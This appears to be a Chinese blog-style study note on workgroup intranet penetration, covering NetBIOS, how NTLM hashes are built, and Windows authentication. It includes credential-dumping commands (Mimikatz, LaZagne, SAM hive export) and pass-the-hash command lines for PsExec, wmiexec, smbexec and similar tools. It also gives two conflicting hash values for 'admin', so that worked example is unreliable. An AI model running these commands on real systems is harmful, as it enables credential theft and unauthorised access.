工作组环境中进行内网渗透常见方法总结
呜呜呜,被佬批评了,这应该是上篇就要了解的板块了,忘记啦QAQ
emmmm,先了解一下域环境和工作组环境的区别吧。其实之前就有写过(小声bb:忘记了)。
域和工作组的区别
1、域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
2、工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
1、域和工作组适用的环境不同,域一般是用在比较大的网络里,工作组则较小,在一个域中需要一台类似服务器的计算机,叫域控服务器,其他电脑如果想互相访问首先都是经过它的,但是工作组则不同,在一个工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的,但是和域一样,如果一台计算机想访问其他计算机的话首先也要找到这个组中的一台类似组控服务器,组控服务器不是固定的,以选举的方式实现,它存储着这个组的相关信息,找到这台计算机后得到组的信息然后访问。
2、工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。
0x01 NetBIOS
网络基本输入/输出系统 (Network Basic Input/Output System, NetBIOS
) 是一种标准的应用程序编程接口,NetBIOS名称解析就是NetBIOS名称映射到IP地址的过程。
nbtstat
查看本机IP
nbtstat -A 本机IP
nbtscan
附上系统城的下载链接:
windows版本:http://www.xitongzhijia.net/soft/195386.html
Windows版本
Linux版本
0x02 NT Lan Manager
NT Lan Manager
的协议实现有Net-NTLMv1
和Net-NTLMv2
两个版本,两者响应值计算均使用了NT Hash
。NTLM Hash
通常是指Windows系统下Security Account Manager
数据库中保存的用户密码的Hash 值,Windows 本身不保存明文密码,只保留密码的Hash,攻击者利用获取到的NTLM Hash
可进行PTH攻击。
NTLM Hash 生成原理
假设明文口令是"admin
",首先将其进行十六进制转换,结果为"61646d696e
"。
admin -> hex = 61646d696e
将其转换成Unicode字符串
,结果为"610064006d0069006e00
"。
61646d696e-> Unicode = 610064006d0069006e00
对获取的Unicode
字符串"610064006d0069006e00
",进行标准MD4单向Hash运算,得到128bit
的Hash值。
结果为"c477236e88a7ae62a59e54e444612724
"
也就得到了最后的NTLM Hash。
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
import hashlib
import binascii
Description = '''
NTLM计算过程
admin -> hex = 61646d696e
61646d696e-> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
'''
print(Description)
Password = input('Your Password:')
hash = hashlib.new('md4',Password.encode('utf-16le')).digest()
hash_hex = binascii.hexlify(hash)
print('->' + str(hash_hex),'utf-8')
NTLM Hash 提取方式
Mimikatz
官网下载地址:https://blog.gentilkiwi.com/mimikatz
以管理员身份运行mimikaz
privilege::debug#提升权限
sekurlsa::logonpasswords#抓取密码
即可得到相关的NTLM信息。
SafetyKatz
下载地址:https://github.com/ghostpack/safetykatz
找了半天也没找到emmmm,直接用大佬的图了
LaZagne
windows版下载地址:
https://github.com/AlessandroZ/LaZagne/releases/
lazagne.exe all
麻了麻了,下面的就直接丢佬的图了
Reg
reg save hklm\sam C:\Users\Administrator\Desktop\sam.hive
reg save hklm\system C:\Users\Administrator\Desktop\system.hive
samdump2 system.hive sam.hive > ntlm_hash.txt
cat ntlm_hash.txt
0x03 认证过程
Windows Challenge/Response 认证过程
- 客户端发送用户名到服务器
- 客户端对明文口令进行Hash处理获得NTLM Hash
- 服务器生成一个 16字节的随机数(Challenge)发送给客户端
- 客户端使用NTLM Hash对Challenge进行加密,加密结果为Response-C,然后将结果发送给服务器
- 服务器通过用户名检索到相对应的NTLM Hash并对Challenge进行加密得到Response-S。
- 比较Response-S和从客户端接收到的Response-C,如果一致则认证通过。
0x04Windows认证过程
一般来说Winlogon服务针对本地计算机上的SAM安全账户数据库来进行Windows凭据验证。通过在登录用户界面上的用户输入等方式收集凭据,本地安全信息如策略设置、账户信息等一般存储在注册表HKEY_LOCAL_MACHINE\SECURITY
中,SAM数据库的备份也存在该注册表中。
winlogon.exe是负责管理安全用户交互的可执行文件,Winlogon服务通过将用户在登录桌面上输入的用户名口令信息通过Secur32.dll 传递给LSA服务后来启动Windows操作系统的登录过程。
lsass.exe主要对用户进行身份验证,将用户口令转化为NTLM Hash,同时将凭据信息存储在内存中,用户使用该凭据可访问网络资源等。
LSA凭据产生有如下几种情况:
- 远程桌面登录
- 本地登录
- 使用RunAs运行服务
- 运行计划任务或批处理
- 利用远程管理工具在本地计算机运行服务
0x05 Pass The Hash
PASXEC
PsExec.exe \\target_ip -u username -p password cmd
PsExec.exe \\192.168.1.6 -u administrator -p Abcd1234 cmd.exe
WMIEXEC
cscript.exe wmiexec.vbs /cmd domain_name username password cmd
cscript.exe wmiexec.vbs /cmd WIN-78L42RBHLLO administrator admin123!@# "ipconfig"
ATEXEC
python atexec.py administrator:admin123!@#@192.168.3.133 ipconfig
SMBEXEC
python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133
DCOMEXEC
python dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133
感言:
咱就是说这些工具都还在么????咋一个个都找到wuwuwuwu
参考文章
工作组环境中进行内网渗透常见方法总结